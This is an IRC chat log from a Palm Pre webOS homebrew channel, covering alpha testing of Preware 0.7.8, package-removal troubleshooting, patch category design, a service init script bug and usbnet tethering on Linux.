Sep 01 07:47:04 lol, first one to install preware 7.8 Sep 01 07:47:06 fourth winner Sep 01 07:47:48 no, fourth to install preware 0.7.8 - freakout, zsoc and k4p741nkrunch beat you to the finish line. Sep 01 07:47:56 yep, oil just PM'd me his name Sep 01 07:48:01 It's like The Doctor's Sep 01 07:48:11 Holds enormous power. Sep 01 07:49:07 nah, i had it installed :D i just didnt know the question Sep 01 07:49:12 i was looking at normal apps Sep 01 07:49:14 i was like Sep 01 07:49:17 uhm.. theres just one Sep 01 07:56:32 greg_roll's ipk installer is cool. Sep 01 07:56:46 yeah, talking to him right now about it in fact. Sep 01 07:56:54 it's open source and cross-platform. very nice. Sep 01 07:57:10 link? Sep 01 07:58:15 http://forums.precentral.net/web-os-development/200981-attn-homebrew-creators-ipk-installer.html Sep 01 07:58:24 cheers:) Sep 01 07:59:10 I have to go to sprint to get the battery replaced as I have an early phone with the "short battery" - I have some quilt patches and Preware installed. Do you guys have issues if I don't run Webos Dr before I take the phone into sprint?? Sep 01 07:59:40 Oooo. That is nice. rwhitby, are you going to use it with Preware? Sep 01 08:00:00 http://www.youtube.com/watch?v=0iplM3Vz4Bw Sep 01 08:00:02 freakout: that's under discussion, yes. Sep 01 08:00:08 okay, his music player is a beast. Sep 01 08:00:48 Decimation: wow. 30secs in and I'm impressed Sep 01 08:00:49 I took my wife's stock Pre into Sprint last week for same reason, and they asked me if they could wipe her phone, I said no and they put the new battery in and sent me along Sep 01 08:01:05 freakout: this guy wants to put it in the app catalog to sell Sep 01 08:01:08 I AM FOR SURE BUYING Sep 01 08:01:31 Decimation: damn, I wish the emulator had sound. Sep 01 08:02:19 playlist management w00t! Sep 01 08:02:33 I was worried that when I got a Pre I'd be using pTunes on Classic Sep 01 08:03:00 that is sweeeeeeeeeeeeet Sep 01 08:03:02 'cause the stock app sucks, and Remix while cool is still missing a fair bit. Sep 01 08:03:28 Actually, sucks is harsh. The interface is nice, but it's way too barebones WRT features. especially compared to pTunes Sep 01 08:03:34 i'm addicted to ampache now ! .. no need to "local" music player ;) Sep 01 08:05:00 Streaming isn't much of an option here in Oz, unfortunately. No unlimited data plans Sep 01 08:05:15 kk well you dont have the choice .. Sep 01 08:05:33 ...not to mention NO PRE. (sniff) Sep 01 08:05:34 just this night .. like 200 mb d/l for testing purpose Sep 01 08:05:43 but on evdo the pre get prety hot lol Sep 01 08:05:55 Must nuke your battery too? Sep 01 08:05:56 NaNplayer= beast. Sep 01 08:05:59 yeah it does Sep 01 08:06:07 when i get it, im removing my stock app from the launcher Sep 01 08:06:07 humm it's in future test Sep 01 08:06:07 lol Sep 01 08:06:13 My battery life is shit already not to mention streaming Sep 01 08:06:24 it will go to 0 after 3 songs lol Sep 01 08:06:26 i was testing ampache server .. so i was plugger in the wall Sep 01 08:06:40 but i estimate like 4 h on evdo Sep 01 08:06:42 MAX Sep 01 08:06:42 lol Sep 01 08:07:15 Try streaming NASA TV I got 15 minutes then I couldn't hold the pre anymore I almost burnt myself Sep 01 08:07:34 the only complain about the streaming is on song change ... but a fix is on the go i think ! ;) Sep 01 08:07:46 You gotta figure it's a bitch to cool the processor in such a tiny, tight package Sep 01 08:08:07 dip it in a water bucket! Sep 01 08:08:08 Even desktops have trouble sometimes. I had to fix my Mum's computer last night. Sep 01 08:08:11 should do the trick ;) Sep 01 08:08:13 they should of used arctic silver ;) Sep 01 08:08:15 "It's freezing" she complains. Sep 01 08:08:35 I open it up, and every fan is so thick with dust it actually made me choke and cough for a minute Sep 01 08:08:40 hahaha yes Sep 01 08:08:45 people forget to clean their fans Sep 01 08:08:55 or don't think of it at all Sep 01 08:09:08 Yeah. this was insane. poor thing was making this wheezing, grinding sound. Like it needed a ventilator. Sep 01 08:09:23 i clean it when it'S telling me to do so Sep 01 08:09:24 ;) Sep 01 08:09:24 lol Sep 01 08:09:33 hehe. Sep 01 08:09:38 strange noise = cleanup time .. Sep 01 08:09:40 ;) Sep 01 08:09:44 * freakout apologises for pulling the room into OT land again Sep 01 08:09:45 when I do my consulting I always end with "Get some compressed air and clean out your fans!" Sep 01 08:10:00 hahah that is what the watercooler is for but it is always dead in there Sep 01 08:10:09 my own channel suffers from boredom Sep 01 08:10:17 I've noticed Sep 01 08:10:37 * freakout must stop chatting. He has a blog to write, dinner to eat and rock-climbing to do. Sep 01 08:10:49 ha Sep 01 08:10:53 I have a script to write Sep 01 08:10:57 and a book to read Sep 01 08:10:59 watercooled device is nice ! until you have a leak Sep 01 08:11:02 and it is 1am Sep 01 08:11:15 oooo I had a leak in my loop once Sep 01 08:11:15 i'Ve seen a quad with a "little" leak ! ;) Sep 01 08:11:29 that a good way to do a smoke machine Sep 01 08:11:30 hosed my gpu and mobo Sep 01 08:11:34 expensive smoke machine Sep 01 08:14:08 rwhitby: where should testers submit any bugs? Sep 01 08:14:15 here? Sep 01 08:14:49 freakout: alpha testers, preferably here. Or in the Preware thread on PreCentral (but clearly marked as alpha testing) Sep 01 08:14:57 gotcha Sep 01 08:15:36 I just killed a bug Sep 01 08:17:20 like miagi san ? Sep 01 08:18:56 http://www.youtube.com/watch?v=J1gAHil89Z4 Sep 01 08:18:57 ;) Sep 01 08:19:25 RainMan: you have a BellMo Pre, right? Sep 01 08:19:32 yup Sep 01 08:19:45 and you can load things onto it using WebOS Quick Install? Sep 01 08:19:56 humm dunno i dont use quick install Sep 01 08:20:01 i do it in CLI Sep 01 08:20:15 i cant run novacom on my descktop Sep 01 08:20:59 RainMan: if I give you some ipks to test Preware 0.7.8 on BellMo, do you promise not to pass them on until we do the release? (anyone can build them from source, so we're not hiding anything) Sep 01 08:21:18 yup no problem Sep 01 08:22:05 RainMan: give those two a go. Don't forget the postinst on the first one. Sep 01 08:22:38 yup i need to uninstall or i can try a "update" with ipkg ? Sep 01 08:23:01 if you just go ipkg -o /var install it should work Sep 01 08:27:28 up and running Sep 01 08:27:30 no trouble Sep 01 08:27:45 oil: WebOS Quick Install is not taking the not-installed flag on the Status: line into account - this explains people who are saying they have uninstalled things but WebOS Quick Install still lists them. Sep 01 08:28:08 RainMan: check the screenshots for Preware ... Sep 01 08:28:22 click on one, then scroll side to side Sep 01 08:30:17 the "loading" seems slow .. normal ? Sep 01 08:30:34 RainMan: lots of Descriptions text to load now. Sep 01 08:30:49 kk standby lol Sep 01 08:31:14 if it takes more than a minute, restart Preware. if that doesn't help, reboot the pre. Sep 01 08:31:44 rebooting Sep 01 08:32:38 so i will make a cofe lol Sep 01 08:38:58 rwhitby nice ! Sep 01 08:48:48 * rwhitby bbl Sep 01 08:57:16 anyone here know anything about upgrading a bios firmware? Sep 01 09:16:56 hey greg_roll Sep 01 09:17:02 i saw your ipk installer tool.. nice work. Sep 01 09:21:24 hi decimation, thanks! Sep 01 09:21:40 im working with rwhitby to make it support post install scripts Sep 01 09:21:59 ah, very cool Sep 01 09:22:07 another tool produced by the greats :D Sep 01 09:22:23 I can't remove filecoaster 1.1.1!!!!!!! it's being stupid Sep 01 09:23:23 I just want to update to newest version and I did but it still shows 1.1.1 Sep 01 09:24:22 timboy: try out preware. Sep 01 09:24:43 Decimation, i did. tried to both install and uninstall it with preware and no change Sep 01 09:25:00 why do you need filecoaster if you have preware? Sep 01 09:25:14 Decimation, I really just want to get rid of it... Sep 01 09:25:29 then go into preware Sep 01 09:25:32 and go to file coaster Sep 01 09:25:33 and click Sep 01 09:25:36 "remove" at the bottom Sep 01 09:26:48 Decimation, did that. now it shows it's not installed in preware and prompts me to install it... Sep 01 09:27:04 then whats the problem? Sep 01 09:27:20 Decimation, it's still in the launcher and will launch! Sep 01 09:27:41 try restarting your phone Sep 01 09:30:35 Decimation, it's still there... Sep 01 09:31:02 hmm, do you have WebOS Quick Install on your computer. Sep 01 09:31:39 Decimation, no. I have installed originally with ipkg-opt and since removed it the same way. Sep 01 09:32:18 timboy: so i take it you have command-line access? Sep 01 09:32:22 do you have winscp access? Sep 01 09:32:23 yup Sep 01 09:32:36 okay, so you have winscp access. Sep 01 09:33:05 i guess just go into /var/usr/palm/applications Sep 01 09:33:10 and delete the whole filecoaster folder Sep 01 09:34:03 Decimation, then reboot? Sep 01 09:34:18 or in the command line just type Sep 01 09:34:21 pkill LunaSysMgr Sep 01 09:34:26 that will be quicker. Sep 01 09:34:39 sweet Sep 01 09:35:34 Decimation, still there... Sep 01 09:35:45 lol, idk your problem here then. Sep 01 09:35:47 sorry. Sep 01 09:35:57 gay... thx ne way Sep 01 09:36:21 sorry i couldnt help anymore. Sep 01 09:36:37 it's cool i'll get it some day... Sep 01 09:44:32 Decimation, i used find and found a folder for it in /usr/palm/applications and removed it from there and it's gone! thx for the tip on the other folder location Sep 01 09:44:52 it installs to /usr/palm/applications?!? Sep 01 09:45:06 all homebrew apps are supposed to install to /var Sep 01 09:46:00 huh.... weird Sep 01 10:43:31 rookie here anyone here that can help? Sep 01 10:44:37 don't ask to ask, just ask Sep 01 10:46:29 trying to change the dialer pad color to black and have the 3 png files, do i just replace the green files with the same name or something else? Sep 01 10:47:27 make a backup of that green one first... Sep 01 10:47:44 ok Sep 01 10:48:08 certainly looks like you're right: Sep 01 10:48:10 http://www.webos-internals.org/wiki/Patch_Phone_Edit_Dialer_Theme Sep 01 10:49:28 ty Sep 01 11:27:15 ty all for the help Sep 01 11:41:46 re Sep 01 11:41:59 yo Sep 01 11:42:01 greg_roll: welcome Sep 01 11:42:25 so, has anyone else tested preware 0.7.8 yet? Sep 01 11:42:58 nah Sep 01 11:48:34 rwhitby: no ones reported about it all night so i guess not. Sep 01 11:52:25 * rwhitby points to http://ipkg.preware.org/feeds/testing/all/ and whistles ... Sep 01 11:52:48 just for the special people in this channel ... Sep 01 11:54:25 rwhitby: ugh, is there anyway to improve the "loading" speed. Sep 01 11:54:26 Decimation: feel free to give that to anyone in the channel who you think will know what to do with it. Sep 01 11:54:34 rwhitby: okay Sep 01 11:54:50 how fast is it? Sep 01 11:55:14 4-5 seconds of updating Sep 01 11:55:16 15 of loading Sep 01 11:56:50 rwhitby: hello and thanks Sep 01 11:57:03 5 seconds of updating and 5 seconds of loading on the emulator Sep 01 11:57:32 Decimation: the additional time is all the text in the Descriptions Sep 01 11:57:43 but we have some ideas on how to improve it. Sep 01 11:57:56 but not before 0.8.0 Sep 01 11:58:00 thats good. Sep 01 11:59:07 the service has the ability to do demand loading of individual packages. We did testing and it was faster to get the whole information at once, but that was without descriptions. I may well be more responsive to do demand loading in the background or something. Sep 01 11:59:31 and we also have some ideas on possible ways to speed up the back-end service. Sep 01 11:59:52 do everything you can Sep 01 12:00:01 i dont want to happen to this what happened to cydia for the iphone Sep 01 12:00:07 everyone says Sep 01 12:00:18 "it'd be the best if it didn't take forever to load" Sep 01 12:00:33 and they weren't messing around.. it had an outrageous load time. Sep 01 12:00:44 well, the difference on the pre is that you can just keep the card open ;-) Sep 01 12:01:00 you can do that on the iphone, but you don't really want to spend the ram on it Sep 01 12:01:10 but yes, initial load time is a key useability criteria Sep 01 12:01:37 but lets get the thing working properly before we start optimising it Sep 01 12:01:52 ahh, saurik, the maker himself :D Sep 01 12:03:30 * rwhitby bbt - night all Sep 01 12:03:32 rwhitby: agree; and please don't sacrifice correctness for speed (like one of cydia's competitors did ;P) Sep 01 12:03:46 installer, hah. Sep 01 12:03:49 Decimation: Icy Sep 01 12:04:00 icy was smooth Sep 01 12:04:04 i never had a problem with it. Sep 01 12:04:45 well, congratulations; Icy doesn't parse Provides:, it doesn't handle alternations in Depends:, it doesn't order the packages it passes to dpkg, it doesn't comprehend configuration vs. installation Sep 01 12:05:03 every day I get a ton of bug reports from people who are either a) screwed because of it or b) simply can't install something Sep 01 12:05:05 rwhitby, you around? Sep 01 12:05:12 I bit bucket them, as people shouldn't be using broken software Sep 01 12:05:18 jcrawford: you just caught me Sep 01 12:05:28 but you'll need to be quick Sep 01 12:05:35 rwhitby, should sign up for irseek.com for the channels Sep 01 12:05:37 saurik: ah, never knew it was that bad. Sep 01 12:05:44 basically a large irc search engine Sep 01 12:05:55 logs everything then allows people to search on the web etc. Sep 01 12:06:07 the saddest part is that it isn't actually much faster; if you actually want to install something with updated data it actually is twice as slow as cydia Sep 01 12:06:44 but the /main/ way Icy cheats is by not refreshing its catalog except on demand, and even then only using the new data on restart Sep 01 12:06:44 hah, never knew. Sep 01 12:06:53 sadly i'm ipod touchless these days :/ Sep 01 12:06:56 so in practice most people are just using old packages Sep 01 12:07:14 luckily, hardly anyone actually uses it Sep 01 12:07:44 (or i'd probably give up out of shear depression that people don't actually care about correctness) Sep 01 12:08:17 hah. Sep 01 12:08:36 well cydia's great apart from the annoying initial load Sep 01 12:08:51 (not so much that, but the annoying reload after installations) Sep 01 12:08:58 keep it up, im out Sep 01 12:09:02 later! Sep 01 12:09:10 * saurik goes back to work Sep 01 12:44:11 i was thinking Sep 01 12:44:36 wouldn't a tool similair to winpwn be cool for the pre Sep 01 12:45:02 like.. users can create a custom firmware to restore to Sep 01 12:45:24 allowing to change options like boot logos.. patches... and even apps that are preinstalled. Sep 01 13:10:34 Hi. Anyone used HTML5's contenteditable on a DIV in a mojo application? I'm missing something - probably something obvious. Cannot make DIV editable. Sep 01 13:20:46 duncan: I just tried it and no go. Sep 01 13:25:42 (note, just because the browser supports it usually it doesn't mean the apps will) Sep 01 13:27:54 templarian: Thanks. That at least is reassuring if not a little disappointing. Have you worked with this in a non-WebOS browser? Do we have to do something more - in the emulator I see that a mouse-click is captured at a high level to give the touch/ripple effect on the screen. Sep 01 13:31:15 duncan: in the browser application/widget it should be fine. I tried it on the emulator a second ago and text could be edited. Sep 01 13:32:45 rwhitby: i vote for an "update changes" field in the feed. Sep 01 13:33:15 did palm do an update to the phone lately? Sep 01 13:33:41 jcrawford: july 23rd i think was the last. Sep 01 13:33:44 why is that? Sep 01 13:33:45 i have a stereo bluetooth headset and phone calls used to be in stereo but now they are in mono Sep 01 13:33:52 pandora works in stereo Sep 01 13:34:06 and i just tried it with my boss's pre his calls only do mono as well Sep 01 13:34:08 templarian: ah, ok. That makes sense. It's the browser UA that supports editable content - so it makes sense in the browser - I guess then that native Mojo apps just don't support it. Is that plausible? If so I guess I use a browser widget in my app. hmmm. Thanks. Sep 01 13:34:17 but up until the other day everything came through in stereo Sep 01 13:34:52 duncan: or you just on click replace it with a input box. Simple JS. Sep 01 13:36:18 templarian: sure - that's true. But I'm looking at something more like a real-world text editor. Sep 01 13:36:39 Is it possible to set a web proxy server? Sep 01 13:36:49 templarian: I'll go check out browser widgets. Thanks for the tip. Sep 01 13:37:17 duncan: isn't there a rich textbox. Sep 01 13:37:45 templarian: Is there? I've not stumbled on it - got any links? Sep 01 13:38:40 http://developer.palm.com/palm-sdk/jsdoc/symbols/Mojo.Widget.html#.RichTextEdit Sep 01 13:39:56 v4lyfe2: Proxy for what exactly? Sep 01 13:40:25 so i was just asking to see if maybe they updated the bluetooth stack or somethubg' Sep 01 13:40:29 *something Sep 01 13:40:51 to observe web traffic between the browser and the internet Sep 01 13:41:13 also, i am on a wifi network and need to use an outbound web proxy Sep 01 13:41:26 i don't actually have Sprint service, my Pre is only wifi Sep 01 13:44:45 v4lyfe2: I don't think there is a way. You can do it through your routers settings though. Sep 01 13:45:08 probably more trouble than it is worth Sep 01 13:45:10 thank you though Sep 01 13:45:23 Yea definately probably not worth the time. Sep 01 13:46:29 jcrawford: this next update should include a lot of things I would imagine so you can hope. Sep 01 13:46:53 Templarian, what next update? Sep 01 13:48:48 'the' next update. Sep 01 13:50:07 :P Sep 01 13:51:55 Templarian: don't you think an app that allows someone to build their own webOS doctor image to restore to would be cool Sep 01 13:52:30 like.. a nice GUI allowing you to edit the image to add apps, patches, and other modifications you want to be able to restore to. Sep 01 13:55:36 Decimation: yeah Sep 01 13:55:38 that would be easy Sep 01 13:56:05 i was thinking about making it Sep 01 13:56:22 but i do all my stuff in visual basic/c++ Sep 01 13:56:31 ewww Sep 01 13:56:34 :P Sep 01 14:04:46 Decimation: You haven't switched to C# like every person on the planet. Don't even admit you know Visual Basic .NET. Sep 01 14:04:50 rwhitby: just sent you an email, let me know what you think Sep 01 14:05:12 Templarian: i know vb.net Sep 01 14:05:36 my friend wants me to switch to c# Sep 01 14:06:01 Decimation: I know both, and everyone wants you to switch you just don't know it. Sep 01 14:06:11 i don't have the time to learn. Sep 01 14:06:34 (it's the same thing just a different syntax... a better one at that) Sep 01 14:08:22 new syntax = learning. Sep 01 14:08:33 or just getting used to. Sep 01 14:08:44 and im 14, starting high school in a week Sep 01 14:08:46 i have no time Sep 01 14:09:01 lol, high school you have all the time in the world. Sep 01 14:09:38 hah, i wish. Sep 01 14:19:18 Decimation: unless you are going into came devel dont bother with C#/.Net Sep 01 14:19:35 learn C/C++/Scheme Sep 01 14:20:32 nodnod Sep 01 14:20:35 Learn scheme Sep 01 14:20:46 and work through the little schemer. Sep 01 14:20:55 which will re-shape your brain Sep 01 14:20:59 hm Sep 01 14:21:14 js is scheme in c syntax. Sep 01 14:22:13 and unless you're going to do game development, or want to right video codecs, you're better off with a language that supports lambda and closure Sep 01 14:22:47 Run through the Little Schemer, and then try this: http://www.crockford.com/javascript/little.html Sep 01 14:22:56 yep Sep 01 14:23:20 but the little schemer will cause your mind to have new paths burned through it Sep 01 14:23:48 :O Sep 01 14:25:29 Rick_home: how can you even say js is scheme in c syntax Sep 01 14:25:41 js its like every other brace language Sep 01 14:25:52 PuffTheMagic: http://www.crockford.com/javascript/little.html Sep 01 14:25:53 scheme/lisp is in a whole different ballpark Sep 01 14:28:29 Do a google search for "functional javascript" and have fun Sep 01 14:30:42 lmorchard: or lets not. lol. Sep 01 14:30:48 :D Sep 01 14:31:11 ECMA is a very nice put together script as long as one uses 1.7 features correctly. Sep 01 14:31:23 *syntax. Sep 01 14:43:12 gkatsev, can you state in the boston channel that nebula has it on invite only :( Sep 01 14:43:48 oil ping Sep 01 14:43:59 jcrawford: nope Sep 01 14:44:06 nebula: fix #webosboston! Sep 01 14:44:15 oh you are not in the channel either eh Sep 01 14:47:18 PuffTheMagic: aye? Sep 01 14:47:37 oil: got a question for how you are handling things in Preware Sep 01 14:47:49 shoot Sep 01 14:48:03 are you using the "Categories" for everyuthing or just applications Sep 01 14:48:12 right now just applications Sep 01 14:48:17 and if its a patch or not Sep 01 14:48:20 but the type field is there Sep 01 14:48:24 so i plan to change it up a bit Sep 01 14:48:33 so patches get filtered with category Sep 01 14:48:37 but not services or plugins? Sep 01 14:48:46 right Sep 01 14:48:52 but im going to change that to using type Sep 01 14:48:58 since services and plugins will have a different "view" Sep 01 14:49:04 (per mockup) Sep 01 14:49:25 i dont kow if this will be helpful Sep 01 14:49:38 but ive been documenting the metadata Sep 01 14:49:39 http://git.webos-internals.org/?p=applications/preware.git;a=blob;f=app/models/package.js;h=9a05042933916191b26127b7b1ba97a4626d6b7e;hb=f367ed603d1715196b976cf922f9351171910874 Sep 01 14:49:48 the large comment block at the top Sep 01 14:52:53 what do you mean change to using type? Sep 01 14:53:11 the Source.Type is Application, Service, Plugin, Patch Sep 01 14:53:17 right now to determine if something is a patch Sep 01 14:53:28 i look for packages in teh WebOs Patches category Sep 01 14:53:31 and split them off Sep 01 14:53:47 but im going to do that with type Sep 01 14:54:02 i just care about "Categories" right now Sep 01 14:54:09 are they going to stay only for Applications Sep 01 14:54:23 or are you gonna use them for the others too Sep 01 14:54:34 right now, im not Sep 01 14:54:38 but in the future? Sep 01 14:54:41 maybe Sep 01 14:54:43 :/ Sep 01 14:55:00 if there is a lot of different types of patches Sep 01 14:55:04 it might be necessary Sep 01 14:55:07 but right now there is one Sep 01 14:55:14 so a category page for it is pointless Sep 01 14:55:24 the reason im asking is right now i only allow those sub-categories for applications Sep 01 14:55:37 patches/plugins/services have no sub categories Sep 01 14:55:38 why? Sep 01 14:56:29 i just didnt add them to the other types Sep 01 14:56:42 to me it seems like every service or plugin would be a utility Sep 01 14:56:50 right Sep 01 14:56:54 what other category would there ever be for a service Sep 01 14:57:01 right now they're in the "Services and Plugins" category of apps Sep 01 14:57:16 when we get dependencies working, they probably will be removed from the app lists Sep 01 14:57:24 since they'll be installed when needed Sep 01 14:57:39 i would leave them Sep 01 14:57:45 for plugins and services it may not be neccessary Sep 01 14:57:55 but for patches it may some day be necessary to categorize them Sep 01 14:57:57 Patches will need categories.. Sep 01 14:57:57 you never know Sep 01 14:57:59 everything that preware installs should be shown Sep 01 14:58:06 Messaging, Camera, Browser, and so on. Sep 01 14:58:07 so it can be removed Sep 01 14:58:22 Decimation: so "different" categories Sep 01 14:58:23 displaying in the available category Sep 01 14:58:28 and displaying in the installed list Sep 01 14:58:31 are two different things Sep 01 14:58:46 PuffTheMagic: yes, categories of their own, seperate from applications Sep 01 14:58:53 anyways Sep 01 14:58:55 probably easiest to categorize them by the app they modify. Sep 01 14:58:55 i gotta get ready for work Sep 01 14:58:59 :( Sep 01 14:59:29 does precentral have free tagging for their categories Sep 01 14:59:34 or do they have a fixed set Sep 01 14:59:47 fixed set i think Sep 01 14:59:53 fixed i'd imagine. Sep 01 15:00:08 Decimation: wanna start making me a list for categories for patches Sep 01 15:00:30 PuffTheMagic, sure Sep 01 15:02:35 Calender Sep 01 15:02:35 Browser Sep 01 15:02:35 Luna Sep 01 15:02:35 Framework Sep 01 15:02:36 Launcher Sep 01 15:02:38 Phone Sep 01 15:02:40 Contacts Sep 01 15:02:42 Messaging Sep 01 15:02:46 Sounds Sep 01 15:02:48 Screen Sep 01 15:02:50 Email Sep 01 15:02:52 Clock Sep 01 15:02:54 Task Sep 01 15:02:56 Camera Sep 01 15:03:06 all those apps have patches made for em Sep 01 15:05:35 PuffTheMagic: i'll be back in 20 but as far as i see, those are all the categories we'll need. Sep 01 15:05:44 k Sep 01 15:05:45 thanks Sep 01 15:05:46 although as more mods come, some may have to be added. Sep 01 15:05:54 yeah thats easy Sep 01 15:36:46 oil: why is Installed-Timestamp in the feed Sep 01 16:01:36 hi, anyone in who can help with preware? specifically the ipkgservice seems to slow my system to a crawl Sep 01 16:11:39 sgtkwol: oil_work just got here he might be able to help (unless he's busy with work stuff). Sep 01 16:12:12 hi, anyone in who can help with preware? specifically the ipkgservice seems to slow my system to a crawl Sep 01 16:12:51 sgtkwol, repeating will not get you help any faster :) Sep 01 16:13:18 I was told that oil_work might be able to help, if he's not busy at work Sep 01 16:13:20 jcrawford: (oil joined after he said it) Sep 01 16:13:31 oh :) Sep 01 16:13:53 slows to a crawl when its first installed? Sep 01 16:13:55 or forever? Sep 01 16:14:02 (it does restart services) Sep 01 16:14:08 but after that comes back it should be good Sep 01 16:14:16 it slows my entire phone down Sep 01 16:14:32 I've rebooted, and still comes up the same Sep 01 16:14:44 are you sure its the ipkgservice? Sep 01 16:14:55 it shouldnt really be doing anything unless you're installing something Sep 01 16:15:32 yes, I was having the issue, and couldn't fix it before heading into work, uninstalled it and everything picked right up Sep 01 16:15:56 oil: ping Sep 01 16:16:05 sgtkwol: doesn't really make any sense Sep 01 16:16:08 PuffTheMagic: he's talking right there. Sep 01 16:16:29 srsly Sep 01 16:16:46 Templarian: i know... i do that so he can message me when he is ready and not interrupt his convo like he is doing now Sep 01 16:16:52 s/he is/we are/ Sep 01 16:16:52 PuffTheMagic meant: Templarian: i know... i do that so he can message me when we are ready and not interrupt his convo like he is doing now Sep 01 16:17:03 grrr Sep 01 16:17:05 damn infobot Sep 01 16:17:25 i was done talking to sgtkwol, i don't have an explaination as to why ipkgservice would make his phone laggy Sep 01 16:17:28 ~botsnack Sep 01 16:17:28 Templarian: aw, gee Sep 01 16:18:06 oil_work: loading time on preware is getting kinda lengthy, maybe its time we look into using java more and see if we can get the load faster Sep 01 16:18:10 I guess I'm stuck installing stuff with it being slow then removing the service, for now Sep 01 16:18:28 sgtkwol: is the services crashing and restarting constantly? Sep 01 16:18:52 PuffTheMagic: yeah, the time at "loading" is it just waiting for the service to reply Sep 01 16:19:01 that, I don't know, how would I find out if it is restarting? Sep 01 16:19:39 you could see if upstart is high cpu, trying to start it all the time Sep 01 16:21:13 PuffTheMagic: i get http://webos.pastebin.com/dc34c533 when the emulator is starting up Sep 01 16:21:44 yeah i figured Sep 01 16:21:47 its the init script Sep 01 16:21:58 it should not have "respawn" in it Sep 01 16:22:04 it just needs to run once Sep 01 16:22:13 lol Sep 01 16:22:21 we need a service kickstart app Sep 01 16:22:37 i would write something pretty quick Sep 01 16:22:40 i would look in: Sep 01 16:22:57 /etc/services.d/ Sep 01 16:23:04 for a service specific file Sep 01 16:23:08 to start the service Sep 01 16:23:15 and it could run them once at boot Sep 01 16:23:23 or just use an event.d file Sep 01 16:23:28 prob no need for an app Sep 01 16:23:34 just dont include the respawn part Sep 01 16:24:05 i was gonna mention this a long time ago Sep 01 16:24:08 totally fogot Sep 01 16:25:30 well then Sep 01 16:26:03 lol Sep 01 16:26:05 fogot Sep 01 16:26:08 forgot Sep 01 16:27:47 removing the respawn part should be enough Sep 01 16:29:56 next question Sep 01 16:30:10 services are put to sleep when the phones screen is off / goes to sleep? Sep 01 16:30:22 people with this "forever updating or loading" problem Sep 01 16:30:36 it seems as if the service just never replies Sep 01 16:31:06 doesnt happen in the emulator because it never goes to sleep Sep 01 16:31:36 idk if its related to that Sep 01 16:31:41 i get this issue sometimes too Sep 01 16:31:44 but if i close preware Sep 01 16:31:48 and start it again Sep 01 16:31:51 it works fine Sep 01 16:32:08 caues it has already cached the data and returns before your phone goes to sleep? Sep 01 16:32:35 cached the data? Sep 01 16:32:39 you are caching shit? Sep 01 16:32:45 no Sep 01 16:33:02 im not following what you are saying then Sep 01 16:33:04 but update is faster the second time its ran in a row, right? Sep 01 16:33:21 idk.. Sep 01 16:33:25 its a flash hd Sep 01 16:33:31 i don think there is a cache/buffer Sep 01 16:33:56 oil_work: there is a command i think you can execute to keep the device from sleeping Sep 01 16:34:02 idk if you need to be on com.palm for it though Sep 01 16:34:04 prob not Sep 01 16:34:07 since pandora can do it Sep 01 16:34:13 yeah i was thinking that Sep 01 16:34:19 but i doubt thats it Sep 01 16:34:23 ive been playing with preware at work (since i cant code on it here) Sep 01 16:34:27 if i launch preware Sep 01 16:34:27 sounds like a more fundamental issue in ipkgservice Sep 01 16:34:29 and turn the screen off Sep 01 16:34:33 itl get stuck at loading forever Sep 01 16:34:39 if i start it and tap the screen to keep it away Sep 01 16:34:42 awake* Sep 01 16:34:45 it works Sep 01 16:35:01 feel free to test Sep 01 16:35:25 yeah i would try adding the command to keep it awake when preware is running Sep 01 16:35:38 ill have to figure out what that is Sep 01 16:35:38 it just seems odd it would fall asleep that fast Sep 01 16:35:38 lol Sep 01 16:35:57 well, i have my phone set at the minimum before turning the screen off Sep 01 16:35:59 30 seconds? Sep 01 16:36:00 a min? Sep 01 16:36:02 im not sure what it is Sep 01 16:36:29 the "gets stuck spinning" is completely recreatable though Sep 01 16:36:38 yeah, 30 seconds Sep 01 16:43:05 Hey guys Sep 01 16:44:10 I'm trying to set up usbnet on my Slackware 13.0. The wiki page on usbnet doesn't mention anything about the required kernel drivers because the author had Ubuntu. Sep 01 16:44:41 I'm running a custom kernel and would like to know what's needed in order to be able to tether via the usb cord (usbnet) Sep 01 16:46:04 Has anybody had any suck with this? Sep 01 16:46:48 *luck Sep 01 16:47:07 Try asking the author? Sep 01 16:48:31 Yes, that's probably worth a try. Sep 01 16:58:11 alkos333: im in the same boat as you Sep 01 16:58:24 alkos333: i cant get usbnet work on my kernel either Sep 01 16:58:36 i never get a usb0 in infconfig Sep 01 16:58:42 even tough the usbnet module gets loaded Sep 01 16:59:09 alkos333: ssh works great over wifi though, so if you have the stayonwhile connected feature enabled Sep 01 16:59:19 your ssh sessions should be perfect Sep 01 17:01:06 Yes, I'm able to ssh in, etc. Sep 01 17:01:25 If it works for this guy in Ubuntu, it should work for me in Slackware. Sep 01 17:01:37 I just need to figure out what drivers and ohter things I need. Sep 01 17:01:47 I ran usbnet enable in pre Sep 01 17:01:48 reset it Sep 01 17:04:20 so palm has the power management services Sep 01 17:04:25 but like no documentation on them Sep 01 17:04:26 haha Sep 01 17:04:52 except some guy asking why it doesnt work in their forums Sep 01 17:05:26 some body can tell me in wich ip range their evdo (ppp0) is ? Sep 01 17:05:39 then some guy from palm saying it does work, it just keeps it from going completely to sleep, but it doesn't stop the screen frmo turning off Sep 01 17:05:44 i think bellmo have screw up on this here =o( Sep 01 17:07:17 somebody ? i'm on the phone with a rep ! plz lol Sep 01 17:07:35 ifconfig ppp0 .. tel me the device ip =oP Sep 01 17:08:05 well not your ip .. just the range ... are you in 10.121.XXX.XXX range ? Sep 01 17:08:19 * oil_work starts terminal Sep 01 17:08:58 oil_work: wsup oil Sep 01 17:09:30 thx oil Sep 01 17:09:44 * oil_work ip is 99.204. range Sep 01 17:09:51 i think the rep have no f*** clue what i talk about hahaha Sep 01 17:10:20 humm it'S no a "private" class right ? Sep 01 17:10:35 so that's why i can ssh to my phone via evdo... Sep 01 17:10:38 thx alot Sep 01 17:10:59 what are you talking to the rep about Sep 01 17:11:00 ? Sep 01 17:11:33 atlanta they have put my "ppp0" in a closed range ip (10.121.XXX.XXX) .. and know i cant ssh to my phone via evdo link Sep 01 17:11:45 lol Sep 01 17:11:59 why are you in a private section Sep 01 17:12:02 i think it will a pita to resolv that lol Sep 01 17:12:03 they much be monitoring you Sep 01 17:12:06 lol Sep 01 17:12:09 hahahaha Sep 01 17:12:15 i'Ve streamed ALL the night Sep 01 17:12:20 like 400-500 mb LOLOL Sep 01 17:12:34 lol i wonder if they really are Sep 01 17:12:42 atlanta you're the one working 4 bellmo right ? Sep 01 17:12:49 nope Sep 01 17:12:57 damn i've forgotten his nick lol Sep 01 17:12:59 sorry ! Sep 01 17:13:04 so many people think i work for palm or bellmo Sep 01 17:13:10 lol Sep 01 17:13:11 but it's possible they monitor me Sep 